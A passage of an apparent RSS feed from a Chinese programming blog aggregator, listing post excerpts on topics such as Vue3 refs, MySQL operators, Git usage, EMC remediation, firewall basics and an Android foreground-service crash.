cannot import name &#39;get_webdriver&#39; from &#39;webdriver_helper&#39; (unknown location)&#xA;这是因为，更高版本的webdriver_helper是要收费的，而pip自动下载的是最高版本的库。&#xA;3.2 测试Web步骤①：自动打开浏览器 from webdriver_helper import * &#39;&#39;&#39; with .</description>
    </item>
    <item>
      <title>AnyLabeling加载模型时闪退</title>
      <link>https://bchobby.github.io/posts/9fb2700360dd0dcb9999e87e9c2b17f8/</link>
      <pubDate>Fri, 05 May 2023 13:26:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fb2700360dd0dcb9999e87e9c2b17f8/</guid>
      <description>加载语义分割模型就闪退了，模型已经正确放入‘C//user//你电脑用户名”这个路径下，并且控制台报错如下：&#xA;RuntimeError: D:\a\_work\1\s\onnxruntime\core\session\provider_bridge_ort.cc:1106 onnxruntime::ProviderLibrary::Get [ONNXRuntimeError] : 1 : FAIL : LoadLibrary failed with error 126 &#34;&#34; when trying to load &#34;&#xA;C:\ProgramData\Anaconda3\envs\alabel\lib\site-packages\onnxruntime\capi\onnxruntime_providers_tensorrt.dll&#34;&#xA;应该是onnxruntime安装出错或者没有安装。&#xA;解决方法；重新安装onnxruntime</description>
    </item>
    <item>
      <title>vue3怎样获取绑定页面dom元素</title>
      <link>https://bchobby.github.io/posts/687817c47c9d6f0a00a522a128697aff/</link>
      <pubDate>Fri, 05 May 2023 11:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/687817c47c9d6f0a00a522a128697aff/</guid>
      <description>和vue2一样，vue3也可以在页面上通过ref绑定一个变量，&#xA;&amp;lt;div ref=&#34;domRef&#34;&amp;gt;&amp;lt;/div&amp;gt; 但vue2使用this.$refs可以获取绑定的变量，而vue3虽然已经删除了this，但可以用以下方法绑定元素&#xA;在setup方法中使用vue提供的ref绑定元素，网上大部分是使用&#xA;import { onMounted, ref } from &#34;vue&#34;; export default{ setup() { const domRef = ref(null) onMounted(() =&amp;gt; { console.log(domRef.value) }) retrurn { domRef } } } 其实这还有优化的空间，我们使用vue3比较重要的是使用ts语法，那么怎么指定ref绑定的dom的class对象呢，我们可以不用在ref中写null，在ref中指定某个类的原型，那么value就是这个类的对象，我们可以使用js本身就有的Element对象，也可以自定义一个，最终代码如下所示：&#xA;①Ele.ts文件，用于声明class类局部使用，也可以使用.d.ts文件直接全局声明&#xA;export default class Ele { // eslint-disable-next-line @typescript-eslint/no-empty-function constructor() {} clientHeight!: number; clientWidth!: number; style!: { top: number | string; left: number | string; bottom: number | string; right: number | string; display: &#34;inline-block&#34; | &#34;none&#34;; }; } ②通过Ele绑定ref</description>
    </item>
    <item>
      <title>MySQL: 运算符使用练习</title>
      <link>https://bchobby.github.io/posts/3dec7a07d14b1d42656a9d41890e5d99/</link>
      <pubDate>Fri, 05 May 2023 10:43:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dec7a07d14b1d42656a9d41890e5d99/</guid>
      <description>前言： 练习运算符的使用，加强记忆。&#xA;案例目的： 在已建数据库中创建数据表，并对表中数据进行处理，练习运算符（包括数据运算符、逻辑运算符、位运算符）的使用。&#xA;操作过程： 创建名为 tb15 的数据表，包含 VARCHAR(100) 类型的字段 note， 以及INT 类型的字段 price。&#xA;注意创建表的语句格式注意分号位置 表格式如下： 答案：&#xA;向表内插入值： note : &#39;Thisisgood&#39;&#xA;price: 50&#xA;答案：&#xA;INSERT INTO &amp;lt;&amp;gt; VALUES (&amp;lt;&amp;gt;, &amp;lt;&amp;gt;);&#xA;对表内值price进行运算操作： 取出原值，加10，减10，乘2，除2，除3取余数&#xA;取出原值，+10，-10， *2，/2，%3&#xA;# 这里注意，我们在表中取值，一定要在结尾标明来源于哪个表。&#xA;对表内值进行运算： 取出原值，判断：是否大于10，是否小于20，是否不等于80，是否等于60，使用安全等于符号比较price是否等于30，是否不等于10（使用符号不能与80相同）&#xA;取出原值， &amp;gt;10, &amp;lt; 20, != 80, = 60, &amp;lt;=&amp;gt; 30, &amp;lt;&amp;gt; 10;&#xA;判断price是否在 30~80 区间，返回price与 30 和 70 相比最大的值，判断 price是否为（10，20，30，40，50）中的某一个值：&#xA;BETWENN AND; GREATEST(); IN();&#xA;判断note字段是否为空，判断首字母是否为t，判断是否包含字母g或m&#xA;IS NULL, LIKE, REGEXP&#xA;将price 与 NULL 和 0 进行 逻辑与运算 和 逻辑或运算：</description>
    </item>
    <item>
      <title>MySQL：常见运算符</title>
      <link>https://bchobby.github.io/posts/5b0a8072f4cb6d677ed75723328de1b4/</link>
      <pubDate>Fri, 05 May 2023 09:59:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b0a8072f4cb6d677ed75723328de1b4/</guid>
      <description>前言： 五一过后，我又来啦！狂玩五天，放松好心情~&#xA;MySQL中的运算符有以下4类，分别是：算数运算符，比较运算符，逻辑运算符，位操作运算符。&#xA;算数运算符： 有一定python基础的话，应该对”算数运算符“并不陌生，包括：+ - * / %。加减乘除取余数。&#xA;我们可以选择表内某一数据进行加法运算，并输出运算结果。&#xA;这里我们先创建一个新的表，tb5，字段名为 num，字段属性为INT。&#xA;向表内添加数值 55：&#xA;我们得到的表是这样的：&#xA;对该值进行加法运算，并输出：&#xA;发现，输出的结果也形成了一个表。那么我们看看原数据是否会有变化：&#xA;并不会。&#xA;# 其实做到这里，我有一个疑问，是否可以通过运算符改变原表的数值呢？SELECT * FROM &amp;lt;TABLE&amp;gt; 语句相当于把表内的值拷贝一个出来，进行数值运算。&#xA;# 具体更改原表数值中的内容需要等到学习UPDATE语句。这里的运算并不能改变原表中的值。&#xA;其他的运算也是如此。&#xA;# 0除任何数都为NULL&#xA;比较运算符： 比较运算符的结果：1，0，NULL&#xA;往往用于SELECT 查询条件中。&#xA;字符串和数字进行比较，会先将字符串转化为数字如果一个（或一个以上的）参数为NULL，那么所得结果为NULL如果两个比较类型是字符串，按照字符串类型进行对比大于等于，小于等于，不等于，这些就不再一一进行比较了接下来注意一下安全等于运算符（&amp;lt;=&amp;gt;） 除了判断NULL的地方不一样之外，和=的作用相同。&#xA;检验是否为NULL 的语句：&#xA;IS NULL == ISNULL 为NULL&#xA;IS NOT NULL 不为NULL&#xA;注意，使用ISNULL 的时候，判断的值要放在后面的括号里。&#xA;BETWEEN &amp;lt;&amp;gt; AND &amp;lt;&amp;gt;：&#xA;判断值是否在区间内。（字符串也是可以实现的）&#xA;LEAST &amp;lt;（数值）&amp;gt; ：&#xA;筛选输入数据中的最小值。&#xA;浮点数也是可以的，看一下字符串：&#xA;在既有数字，又有字符串的情况下，优先数字大小。&#xA;既然有挑选最小值的语句，那么也一定有挑选最大值的语句。&#xA;GREATEST&amp;lt;&amp;gt;;&#xA;挑选所给数据中最大的一项。&#xA;&amp;lt;&amp;gt; LIKE &amp;lt;&amp;gt;;&#xA;用来匹配字符串有两个通配符，% 和 _ ，%代表任意个数字符；_ 代表一个任意字符%可以匹配NULL # %d 表示的就是以d结尾的任意单词。</description>
    </item>
    <item>
      <title>element-ui中el-switch相关样式操作，等比例缩小、靠右对齐</title>
      <link>https://bchobby.github.io/posts/52189e40be93452badbd1830716e184c/</link>
      <pubDate>Fri, 05 May 2023 09:51:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/52189e40be93452badbd1830716e184c/</guid>
      <description> 等比例缩小 .el-switch { transform: scale(0.5); } 靠右对齐 在element-ui中el-tree的树根上有个el-switch开关，我想将开关移动到外层的div最右侧并对齐，我的代码框架大概如下：&#xA;&amp;lt;div&amp;gt; &amp;lt;el-tree&amp;gt; &amp;lt;span slot-scope=&#34;{node,data}&#34;&amp;gt; &amp;lt;span&amp;gt; {{node.label}} &amp;lt;/span&amp;gt; &amp;lt;el-switch&amp;gt;&amp;lt;/el-switch&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/el-tree&amp;gt; &amp;lt;div&amp;gt; 实现方法：&#xA;外层div增加style=“position: relative;”，&#xA;el-switch增加：style=“position: absolute; right: 0;”&#xA;&amp;lt;div style=&#34;position: relative;&#34;&amp;gt; &amp;lt;el-tree&amp;gt; &amp;lt;span slot-scope=&#34;{node,data}&#34;&amp;gt; &amp;lt;span&amp;gt;{{node.label}}&amp;lt;span&amp;gt; &amp;lt;el-switch style=&#34;position: absolute; right: 0;&#34;&amp;gt; &amp;lt;/el-switch&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;/el-tree&amp;gt; &amp;lt;/div&amp;gt; </description>
    </item>
    <item>
      <title>【Git】Git(分布式项目管理工具)在Windows本地/命令行中的基本操作以及在gitee中的操作，使用命令行、图形化界面，进行提交，同步，克隆</title>
      <link>https://bchobby.github.io/posts/e5ff520430664bd98679ef3446a4d9bf/</link>
      <pubDate>Fri, 05 May 2023 09:14:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5ff520430664bd98679ef3446a4d9bf/</guid>
      <description>介绍&#xA;这里是小编成长之路的历程，也是小编的学习之路。希望和各位大佬们一起成长！&#xA;以下为小编最喜欢的两句话：&#xA;要有最朴素的生活和最遥远的梦想，即使明天天寒地冻，山高水远，路远马亡。&#xA;一个人为什么要努力？ 我见过最好的答案就是：因为我喜欢的东西都很贵，我想去的地方都很远，我爱的人超完美。因此，小编想说：共勉！&#xA;目录&#xA;一、开发注意事项&#xA;二、 Git&#xA;网址：&#xA;1、什么是git？&#xA;2、 Git 与 SVN 区别&#xA;3、Git、Gitee、Github、Gitlab的区别以及功能&#xA;1、Git&#xA;2、gitee&#xA;3、github&#xA;4、gitlab&#xA;5、不同点&#xA;4、Git工作流程&#xA;5、Git原理&#xA;三、码云新建仓库&#xA;了解码云中一些名词的意义&#xA;1、进入码云官网，注册一个账号并登录​编辑&#xA;2、创建仓库&#xA;3、仓库创建步骤&#xA;1）在创建仓库的时候，先不初始化仓库&#xA;1、创建仓库&#xA;2、将全局设置保存，进行初始化readme文件​编辑&#xA;3、进入仓库页面 4、将仓库改为公有仓库（开源仓库）&#xA;看是否是开源仓库&#xA;2）在创建仓库的时候，初始化仓库&#xA;1、创建仓库&#xA;2、初始化readme文件&#xA;3） 在创建仓库时，选择readme模板&#xA;四、在gitee中进行基本操作&#xA;1、文件上传&#xA;2、创建Issue&#xA;3、添加仓库成员&#xA;五、在Windows中进行基本操作&#xA;方式一：使用图形化界面直接操作&#xA;1、克隆——将远程仓库的项目下载到本地&#xA;如果没有绿色的图标（如果还是无效的话，建议去看看其他博主的文章）&#xA;git关联的的文件没有绿色、红色小图标按步骤处理，然后重启电脑即可。&#xA;2、文件上传——将本地文件上传到远程服务器中&#xA;3、文件拉取，更新/同步pull&#xA;4、文件更新时发生冲突&#xA;1、为什么会发生冲突？&#xA;2、制造冲突&#xA;第二步：在本地文件中创建一个新的文件one，并进行提交&#xA;第三步：提交成功，推到远程仓库&#xA;第四步：发生冲突​编辑&#xA;解决冲突&#xA;第一步: 点击上图的拉取,进行同步&#xA;第二步：拉取成功，将远程仓库同步到本地&#xA;第三步：查看文件，已经同步&#xA;第五步：推送成功​编辑&#xA;第六步：查看远程仓库是否和本地同步&#xA;方式二：使用命令行进行操作&#xA;1、克隆&#xA;首先在gitee仓库中复制git URL</description>
    </item>
    <item>
      <title>4.EMC整改案案例解析及分析（静电&amp;辐射发射&amp;快速脉冲群）。</title>
      <link>https://bchobby.github.io/posts/65dbec2fe13988234e4dd1969efca6a7/</link>
      <pubDate>Thu, 04 May 2023 23:09:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65dbec2fe13988234e4dd1969efca6a7/</guid>
      <description>一：静电ESD 静电是生活中常见的问题，设备在进行EMC设计时候，静电放电是不能缺少的项目，静电问题直接影响到设备的使用。&#xA;减轻静电放电现象影响的一些常用方法包括：&#xA;1.绝缘 2.正确接地 3.抑制/过滤 4.电隔离 5.固件 6.绝缘&#xA;下面就一个设备的问题进行分析，基本概况&#xA;设备类型：手持设备 设备领域：工业用品 外壳类型：塑料 放电点：外部充电口，外部通讯口，外部连接口。&#xA;问题点：放电后设备出现死机、花屏等显现象。&#xA;问题分析：设备出现花屏和死机现象可能是由于静电引起的电路复位和异常保护。花屏一般当设备固定刷新且flash和单片机无死机情况下是可以恢复的，这种在EMC静电实验是允许的，当不可恢复的时候需考虑设备的内部电路是否出现了异常，或者局部闩锁的现象。&#xA;死机问题就复杂了，手持设备牵扯到电池，供电电路，内部软件控制等，当静电导致关机可以重启，说明硬件电路没有受到损伤，后续可以进行排除法，排除硬件闩锁和防护问题后，可对敏感信号进行查询，因为静电会导致地电平异常，对于地参考电平敏感的部分控制信号需特别关注，千万注意电路中软件防抖的设计。这是嵌入式工程师不可或缺的。&#xA;问题解决：死机问题系电路中的敏感信号触发，导致关机现象。对于常见的USB,LAN口等已经有了完备的防护电路，可以从ADI,TI等获取成熟的防护方案。&#xA;二：辐射发射 射发射主要测试设备在正常工作时自身对外界的辐射干扰强度，按照在客户端的典型安装要求对受试设备进行布置，线材要遵从规格书规定的长度和型号；除了36.201.1a规定的设备外，其他设备和系统应根据GB4824（工业、科学和医疗（ISM）射频设备骚扰特性限值和测量方法）进行分组、分类和测试。当高频信号如时钟，高速信号线等通讯时候，由于寄生电容，寄生电感等参数，很容易产生谐波等，白盒显示状态的设备的上升和下降沿时间过长，震荡，过冲和下冲等，都是EMI产生的主要源头，还有开关电源在开关切换过程中产生的问题。&#xA;PCB布线如何避免？&#xA;线长：当引出线缆达到高频信号波长λ的1/20，就会发生辐射发射。如100MH的信号，根据波长速度关系，V/f=λ λ/20=0.15m。意味着线长需要控制在15cm,这是非常严苛的要求，对于大多数设备都是无法实现的，但是对于高速信号线最好按照此要求控制线长。以及后端设备接线的方式最好是使用屏蔽线缆。&#xA;布线：对于高频信号布线就需要考虑PCB设计，包括走线和阻抗设计等&#xA;屏蔽？如何屏蔽？&#xA;λ = V/f = 3*10^8 /500*10^6 = 0.6m r&amp;lt;λ/4 r = 15cm时候，才能阻挡传播。所以当设备的EMI严重时候，可以根据需求进行屏蔽，或者使用品屏蔽材料进行屏蔽。对于PCB设计中板子边缘保持20H的原则，减少电路板对外的辐射发射，可以采用金属包边，地包天设计减少EMI的影响。&#xA;吸收？如何吸收？&#xA;现阶段市面上有很多成熟的高磁导率的吸波材料，可以对不同频段的有所减少，但是受到温度和实际应用的限制，可以在消费品中常见。&#xA;问题分析：设备辐射发射超标B级别，A级别符合。由于设备是手持产品，无可靠接地，设备内部有高频信号线，如果信号完整性不好，那么高频信号很容易产生高次谐波，谐波分量成比例增加，是引起指标超标的主要问题，所以抑制信号中的高频分量非常重要，设备内部特别是显示屏接地和显示屏时钟信号线是问题多发点，需要在结构和电路设计中充分考虑电流回路面积尽可能小和接地良好性，对应对静电放电也有很大帮助。对于部分设备还可以使用导电泡棉或者接地弹片优化接地回路，进而减少设备的EMI影响。&#xA;下图是一个参考值。一般情况下在高频时候的辐射发射幅值一般都是倍数关系，如250MHZ 500MHZ 750MHZ 等。可以根据频点检查设备那块存在此频点的基频，当确定基频信号时候进行白盒复测使用示波器进行测试，进而使用频谱分析功能进行进一步评估，对于设备全的公司可使用近场探测仪器进行测试。&#xA;问题解决：达到B级别测试需求&#xA;1：时钟线增加磁珠，可以将匹配电阻更换为有效磁珠测试，或者采用阻容吸收电路在保证信号的前提下，吸收高频噪声，磁珠需要根据频率阻抗特征曲线选取。&#xA;2：增加液晶接地的可靠性，对液晶背部进行有效接地，不单纯依靠FPC软线连接。&#xA;补充： 对于台式带接地的设备，进行发射发射整改时候，也需要注意液晶接地和液晶排线的处理，设备内部接地保证低阻抗，对特殊对外的端口，如网口和usb需在PCB设计中做处理，一般情况下外部通讯地和内部电路板的地式隔离的，通过电容或者电阻进行单点连接，如下，两个隔离地通过隔离变压器处的电容或者电阻进行连接，根据实际情况，一般就放电容即可。信号线和电源线在走线中需要避免一起捆扎。&#xA;液晶上的始终信号和其他通讯信号，在高频情况下，通过液晶排线和连接器，由于液晶排线和连接器上的等效电感和回路阻抗较大，对原有的信号造成干扰，高频信号极易容易产生谐波分量。造成辐射发射的超标。一般液晶组件后面都有接地屏蔽面，需进行有效的接地。在涉及软排线时候最好加一层地平面。&#xA;三：快速脉冲群EFT 电快速脉冲群具有突发，高压，宽频的特征，几乎可以覆盖EMS测试中除了浪涌，电压跌落之外大部分频率，是高频测试非常典型的代表。电快速脉冲群主要针对电源线或者信号线进行耦合的。在测试中由于寄生参数的存在，高频信号耦合到线缆上，会导致电路内部信号异常，当干扰信号流经电路板中有生命的地方时候，造成敏感信号的误触发等，如敏感的kill信号，reset信号，sw信号，pwm信号，对时序要求高的信号等，造成设备出现异常。&#xA;如何消除？如何屏蔽？&#xA;对于电源线，信号线等，必要的滤波电路非常重要，针对电源和信号的滤波电路常有差模滤波共模滤波器等安装在机器电源入口处，实现对干扰信号的就近处理，对于电源的滤波器需要可靠的接设备机壳，对于线缆的接地线需要就近接入机壳，做可靠连接。&#xA;将可以注入干扰信号的线缆和其它线缆分开捆绑或者在PCB上单独特殊走线，详细请参考《信号完整性和电源完整性分析》这本书。&#xA;手持设备如何避免？&#xA;对于手持设备针对电源和信号线的快速脉冲群测试更难处理，因为滤波器的体积等限制无法安装。只能依靠设备内部的滤波电路，PCB布线和芯片自身的噪声抑制能力等。同时兼容软件的容错机制，可以最大化的降低风险。当然手持设备是可以独立脱离电源适配器使用的，可以不进行快速脉冲群的认证。</description>
    </item>
    <item>
      <title>二叉树所有节点转换成大于该节点的平均值，没有最大值就转换成0</title>
      <link>https://bchobby.github.io/posts/756be7f66c94d116b11e0e7f88b7d101/</link>
      <pubDate>Thu, 04 May 2023 20:36:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/756be7f66c94d116b11e0e7f88b7d101/</guid>
      <description>import java.util.ArrayList; import java.util.List; import java.util.function.ToIntFunction; import java.util.stream.Collectors; public class Test { static class Node implements Cloneable { int val; Node left; Node right; public Node(int val, Node left, Node right) { this.val = val; this.left = left; this.right = right; } @Override protected Node clone() throws CloneNotSupportedException { Node node = new Node(val, left == null ? null : left.clone(), right == null ? null : right.clone()); return node; } } /** * 3 * 2 5 * 1 4 6 * * 转换成 * 5 * 4 6 * 5 5 0 */ public static void main(String[] args) throws CloneNotSupportedException { Node node1 = new Node(1, null, null); Node node2 = new Node(2, node1, null); Node node4 = new Node(4, null, null); Node node6 = new Node(6, null, null); Node node5 = new Node(5, node4, node6); Node root = new Node(3, node2, node5); updateNode(root.</description>
    </item>
    <item>
      <title>maven 项目引入本地jar包方式</title>
      <link>https://bchobby.github.io/posts/586fc7f498a1afbbcf496f30d678db9f/</link>
      <pubDate>Thu, 04 May 2023 18:47:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/586fc7f498a1afbbcf496f30d678db9f/</guid>
      <description>maven 项目引入本地jar包方式 一、在resources 中创建lib 文件夹，并把需要引入的jar包粘进去 本文以aspose中的 word转pdf的jar包举例&#xA;二、在pom.xml 文件中添加依赖 &amp;lt;!-- 引入本地jar包 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;aspose-words&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspose-words&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;15.8.0&amp;lt;/version&amp;gt; &amp;lt;classifier&amp;gt;jdk16&amp;lt;/classifier&amp;gt; &amp;lt;scope&amp;gt;system&amp;lt;/scope&amp;gt; &amp;lt;systemPath&amp;gt;${project.basedir}/src/main/resources/lib/aspose-words-15.8.0-jdk16.jar&amp;lt;/systemPath&amp;gt; &amp;lt;/dependency&amp;gt; 三、pom.xml build -&amp;gt; plugin中要添加includeSystemScope为true,不然本地不报错，部署到服务器上会报找不到包的错 报错信息如：java.lang.NoClassDefFoundError&#xA;true&#xA;完成上面三步 即可使用引入的jar 包了</description>
    </item>
    <item>
      <title>1、防火墙的基础知识</title>
      <link>https://bchobby.github.io/posts/37b2ddb7d4b052c715d16abf2ee83138/</link>
      <pubDate>Thu, 04 May 2023 18:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37b2ddb7d4b052c715d16abf2ee83138/</guid>
      <description>1.1、防火墙的概念 一种网络安全设备，通过各种配置，拒绝非授权的访问，保护网络安全。&#xA;通过访问控制、身份验证、数据加密、VPN技术等安全功能，形成一个进出屏障。&#xA;1.2、防火墙的发展历史 主要经历了包过滤防火墙、代理防火墙和状态检测防火墙等三代，统一威胁管理和下一代防火墙是最近几年提出的概念。&#xA;1.2.1 包过滤防火墙 第一代防火墙。通过配置访问控制列表（ACL）对数据报文进行过滤，并根据策略转发或丢弃数据报文，设计简单易于实现。&#xA;包过滤不检查会话状态且不分析数据，攻击者可以使用假冒地址进行欺骗，然后通过防火墙。&#xA;包过滤仅能审核处于网络层和传输层的协议首部信息，对每个数据包执行允许和禁止的操作。这种过滤能够基于下列基本标准制定访问决策：&#xA;（1）源IP地址和目的IP地址&#xA;（2）源和目的地端口号码&#xA;（3）协议类型&#xA;（4）进出的流量方向。&#xA;1.2.2 代理防火墙 第二代防火墙。代理检查来自用户的请求，匹配安全策略后代表外部用户与真正的服务器建立连接，转发外部用户请求。&#xA;代理防火墙安全性较高，但软件限制处理速度，同时需要为每一种应用开发对应的代理服务，开发周期长且升级困难。&#xA;代理是一个中间人。设置在可信任网络和不可信任网络之间，总是代表数据来源建立连接。&#xA;代理防火墙断开了通信信道，两个通信设备之间不能直接连接。&#xA;有两种类型的防火墙，工作在OSI模型底层（会话层）的代理防火墙称为电路级代理，工作在应用层的代理防火墙叫应用级代理。&#xA;1、电路级防火墙 创建了客户端计算机和服务器之间的一个电路，仅能看到会话层，从网络角度监控流量。&#xA;这种代理不能看到数据包的内容，不执行深层次的检查。只是基于它能看到的协议首部和会话信息做访问决策。不理解应用层协议，因此是独立于应用层的程序代理。&#xA;提供的保护强度没有应用级代理大。但是能提供更宽泛的保护。&#xA;电路级代理的工作方式类似于包包过滤，它基于地址、端口和协议类型的首部值来做访问决策。电路级代理检查包首部内的数据，而不是检查应用层数据。不检查包内数据是否安全。&#xA;2、应用级代理 可以检查通过应用层的数据包。应用级代理可以理解整个数据包，因为可以根据数据包的内容作出访问决策。&#xA;应用级代理可以区分FTP的GET和PUT命令，并且根据这种细粒化的信息作出访问决策。包过滤防火墙和电路级代理只可以允许或者拒绝FTP的整个请求，而不是通过FTP协议内部所使用的命令进行决策。&#xA;应用级代理防火墙需要为每个协议都配备一个代理。因此，提供应用级代理保护比较难。代理必须完全理解特定协议的工作方式以及该协议内的合法命令。&#xA;应用级防火墙的特征如下：&#xA;（1）检查整个网络包，不仅是网络地址和端口，因此有强大的日志记录功能。&#xA;（2）能够之间对用户进行身份验证，包过滤防火墙和状态检查防火墙是不可以的。&#xA;（3）不仅仅是第三层设备，因此能够抵御欺骗攻击和其它复杂的攻击。&#xA;应用级防火墙的缺点：&#xA;（1）通常不适合高带宽或实时应用。&#xA;（2）支持新网络应用和协议的能力有限。&#xA;（3）由于逐包处理的要求，会产生性能问题。&#xA;应用级和电路级代理防火墙的特征：&#xA;1、应用级代理防火墙的特征如下：&#xA;（1）每个被监控的协议都需要一个独特的代理。&#xA;（2）比电路级代理防火墙提供更多的保护。&#xA;（3）对每个包都要进行更多处理，速度比电路级代理防火墙慢。&#xA;2、电路级代理防火墙的特征如下：&#xA;（1）不需要为每个协议设置一个代理。&#xA;（2）不提供应用级代理防火墙的更深层次的检查。&#xA;（3）为更广范围的协议提供安全性。&#xA;1.2.3 状态检测防火墙 第三代防火墙。状态检测属于包过滤技术的延伸，对基于连接状态的数据报文进行检查时，它会考虑数据报文前后的关系，这意味着每个数据报文都不是独立存在的，而是前后有状态联系的。基于这样的状态联系，发展处了状态检测技术。于1994年提出。&#xA;状态检测防火墙通过动态分析激活的TCP会话和UDP会话状态采取动作，处理速度快且安全性高。&#xA;数据包通过包过滤防火墙时，就会忘记接收过该包，因此称为无状态的。状态过滤检查，它能跟踪记录包到达什么位置，直到特定的连接关闭。&#xA;状态检测防火墙比常规的过滤路由器更好管闲事，因为它跟踪计算机之间说了什么。这就需要防火墙维护一个状态表，以记录谁对谁说了什么，就像一张记分表那样。&#xA;状态检测防火墙记录着通信的每一个步骤。它知道协议应该如何工作，如果出现不合常规的情况，它不会允许流量通过。&#xA;当两个系统之间的连接开始时，防火墙调查数据包的所有层（所有首部、有效载荷和尾部）。有关这个具体连接的所有必要信息都存储在状态表中（源IP地址和端口，目的IP地址和端口、协议乐西、首部标志、序列号和时间戳等）。一旦这个数据包通过了这个深入的检查，一切都被认为是安全的，防火墙会审核网络，为剩下的会话传输首部部分。每一个数据包都会语当前状态表中的值做对比，这个表被更新以反映通信进程的进展情况。把检查整个数据包缩减为只检查每个数据包的首部可以提高性能。&#xA;状态检测防火墙的特征：&#xA;（1）维护一个状态表，以跟踪每一个通信会话。&#xA;（2）它提供了高度的安全性，而且不会像代理防火墙那样引入性能问题。&#xA;（3）可升级，对用户透明。&#xA;1.2.4 统一威胁管理防火墙 统一威胁管理（UTM）防火墙属于新一代防火墙。除了具备基本防火墙功能外，它将入侵检测、访问控制、防病毒、URL过滤等功能集成于一身，实现全面的安全防护功能。&#xA;1.2.5 下一代防火墙 下一代防火墙概念在2008年提出，最初目的是解决UTM防火墙运行多个功能后性能下降的问题。2009年明确了定义，明确了下一代防火墙除了具有UTM防火墙功能外，还可以基于用户、应用、内容进行管控。&#xA;1.3 华为USG6000系列防火墙介绍 2013年9月发布。&#xA;USG6000系列防火墙将安全能力与应用识别进行深度融合，实现安全防护一体化。</description>
    </item>
    <item>
      <title>关于Context.startForegroundService() did not then call Service.startForeground()的解决办法</title>
      <link>https://bchobby.github.io/posts/fc8a1be2ceca5ecbb98c11901bc4dee7/</link>
      <pubDate>Thu, 04 May 2023 16:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc8a1be2ceca5ecbb98c11901bc4dee7/</guid>
      <description>文章目录 关于Context.startForegroundService() did not then call Service.startForeground()的解决办法第一处：停止服务第二处：超时结论参考 关于Context.startForegroundService() did not then call Service.startForeground()的解决办法 有天突然报了以下错误android.app.RemoteServiceException: Context.startForegroundService() did not then call Service.startForeground() 顺着这个提示文本，我搜索了下，发现在com.android.server.am.ActiveServices里有两处地方 第一处：停止服务 第一处如下 //android-30 void serviceForegroundCrash(ProcessRecord app, CharSequence serviceRecord) { mAm.crashApplicationWithType(app.uid, app.getPid(), app.info.packageName, app.userId, &#34;Context.startForegroundService() did not then call Service.startForeground(): &#34; + serviceRecord, false /*force*/, ForegroundServiceDidNotStartInTimeException.TYPE_ID); } 看看是谁调用它的，原来在com.android.server.am.ActivityManagerService里&#xA;那就接着看看什么时候发出了SERVICE_FOREGROUND_CRASH_MSG事件，于是又来到ActiveServices.bringDownServiceLocked方法里&#xA;根据以下这行注释大概意思就是说在 显示前台服务通知之前就关闭前台服务这个操作是不允许的&#xA;那么就有可能是我们启动前台服务，然后前台服务还没执行到android.app.Service#startForeground(int, android.app.Notification) 时就又执行了停止服务，因此才出现了这个奔溃&#xA;于是我们可以验证下在startForeground调用之后立马执行stopSelf,看看会不会报同样的错&#xA;可惜无法复现，再看看产生这个奔溃的手机，全是android 10这个版本&#xA;于是对android 10的设备一番尝试后发现无法复现，那么可能产生的问题就是超时了&#xA;后期发现如果是这里产生的奔溃，那么异常是ForegroundServiceDidNotStartInTimeException,如下&#xA;android.app.ForegroundServiceDidNotStartInTimeException: Context.startForegroundService() did not then call Service.startForeground(): ServiceRecord{...} 而且从代码看在这个异常产生之前就会把超时的那个消息从消息队列移除，也就是不会产生两次异常后来继续思考，会不会是未调用startForeground就先调用了stopSelf导致的呢，这种情况应该也有可能，马上着手试验，果然立马就崩了 第二处：超时 第二处如下 android-30 void serviceForegroundTimeout(ServiceRecord r) { ProcessRecord app; synchronized (mAm) { if (!</description>
    </item>
    <item>
      <title>webots机器人仿真(0)→目录</title>
      <link>https://bchobby.github.io/posts/c7f92ce2e9a06cffe23ad5836d390a84/</link>
      <pubDate>Thu, 04 May 2023 15:56:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7f92ce2e9a06cffe23ad5836d390a84/</guid>
      <description>讲解关于SLAM-ROS2算法移植、部署与工程落地一系列文章汇总链接:SLAM-ROS2算法移植、部署与工程落地 - 总目录，针对于本栏目讲解webots机器人仿真链接如下:&#xA;webots机器人仿真(0)→目录：https://blog.csdn.net/weixin_43013761/article/details/130488157&#xA;文末正下方中心提供了本人 联系方式， 点击本人照片即可显示 W X → 官方认证 {\color{blue}{文末正下方中心}提供了本人 \color{red} 联系方式，\color{blue}点击本人照片即可显示WX→官方认证} 文末正下方中心提供了本人联系方式，点击本人照片即可显示WX→官方认证&#xA;请注意本人使用环境为 U b u n t u 18.04 \color{red}{Ubuntu18.04} Ubuntu18.04,另外本人现在的时间点为 20230504 \color{red}{20230504} 20230504 无法保证你现在的时间点,相应的依赖库或者工程作者是否有更新。</description>
    </item>
    <item>
      <title>第六节：使用three.js材料【Three.js整理】</title>
      <link>https://bchobby.github.io/posts/b35448804b7394b790e305c2d3b4aec0/</link>
      <pubDate>Thu, 04 May 2023 15:16:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b35448804b7394b790e305c2d3b4aec0/</guid>
